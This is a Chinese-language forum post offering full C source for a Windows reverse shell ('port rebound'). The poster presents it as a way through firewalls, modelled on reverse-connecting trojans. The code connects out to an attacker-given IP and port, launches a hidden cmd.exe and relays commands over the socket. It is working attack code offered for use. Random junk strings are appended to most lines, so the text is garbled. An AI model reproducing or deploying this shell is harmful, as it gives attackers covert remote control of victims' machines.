社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4683阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !H`! KBW  
N5ityJIgQ  
/* ============================== ,cR=W|6cQm  
Rebound port in Windows NT A6APU><dm^  
By wind,2006/7 tN' -4<+  
===============================*/ p/|": (U  
#include 3[RbVT  
#include 1D42+cy  
}";\8  
#pragma comment(lib,"wsock32.lib") &ACM:&Ob  
N798("  
void OutputShell(); GW_@hYIqD  
SOCKET sClient; RcUKe,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E6iUa'  
Rh7unJ  
void main(int argc,char **argv) o(,u"c/Or  
{ ncEOz1u  
WSADATA stWsaData; k_rtsN  
int nRet; ;%r#p v~  
SOCKADDR_IN stSaiClient,stSaiServer; p{knQ],   
E\5cb[Y  
if(argc != 3) ':kj\$U  
{ A$K>:Tt>  
printf("Useage:\n\rRebound DestIP DestPort\n"); (fc /"B-  
return; 0jY#,t?>  
} 8Y.25$  
7-nz'-'  
WSAStartup(MAKEWORD(2,2),&stWsaData); 3,@I` M  
Zh?1+Sz&  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); . Q3GA0O  
<lHelX=/  
stSaiClient.sin_family = AF_INET; V9:h4]  
stSaiClient.sin_port = htons(0); DP=4<ES%+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); n3, ?klK  
D2$"!7O1H  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'Ldlo+*|5  
{ FF:Y7wXW  
printf("Bind Socket Failed!\n"); #P,mZ}G\  
return; *R17 KMS  
} IS; F9{  
[KIK}:  
stSaiServer.sin_family = AF_INET; _y Q*  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Pdc- 3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X G fLi  
nwlo,[  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y[=Gv6Fr  
{ 0ad -4  
printf("Connect Error!"); Jsi [,|G  
return; $gsn@P>"  
} ,nqG* o  
OutputShell(); RW!D! ~  
} n>F1G MX  
uJ<sa;  
void OutputShell() dQ97O{O:i  
{ KsM2?aqwf_  
char szBuff[1024]; i 7:R4G(/#  
SECURITY_ATTRIBUTES stSecurityAttributes; &DdFK.lt  
OSVERSIONINFO stOsversionInfo; |I7-7d-; /  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =/@c9QaV B  
STARTUPINFO stStartupInfo; z= pb<Y@X  
char *szShell; IxwOzpr  
PROCESS_INFORMATION stProcessInformation; C' C'@?]  
unsigned long lBytesRead; j%R}  
KDP7u  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [\NyBc  
/esSM~*H  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >#z*gCO5,  
stSecurityAttributes.lpSecurityDescriptor = 0; pEIc ?i*  
stSecurityAttributes.bInheritHandle = TRUE; rf"%D<bb  
unqX<6hu  
f $MVgX  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <>,V> k|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T)Byws  
[xT2c.2__J  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); noiUi>G;:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6 flc  
stStartupInfo.wShowWindow = SW_HIDE; \HFeEEKH  
stStartupInfo.hStdInput = hReadPipe; g+gHIb7{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Uv,_VS(  
D'e'xU  
GetVersionEx(&stOsversionInfo); *V(TNLIh;  
;L.@4b[lP  
switch(stOsversionInfo.dwPlatformId) bq3G3oAyG  
{ &) 7umdSgi  
case 1: iJ_FJ[ U  
szShell = "command.com"; =/MAKi}g  
break; is`Eqcj`dr  
default: iQpKcBx  
szShell = "cmd.exe"; CMa~BOt#  
break; E 5PefD\m  
} L- [<C/`;t  
^y"Rdv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (l : ;p&[  
_|.q?;C]$  
send(sClient,szMsg,77,0); n0#HPI"  
while(1) ;wCp j9hir  
{ q: . URl  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :`6E{yfM  
if(lBytesRead) H XF5fs  
{ WZaOw w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); uUb[Dqn  
send(sClient,szBuff,lBytesRead,0); v|~ yIywf  
} ETe,RY  
else 8Z%C7 "4O  
{ s  bV6}  
lBytesRead=recv(sClient,szBuff,1024,0); v/6QE;BY&Q  
if(lBytesRead<=0) break; 7>`QX%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \3w=')({  
} n'ft@7>%h  
} {'8a' 9\  
d V#h~  
return; g]O"l?xx1D  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五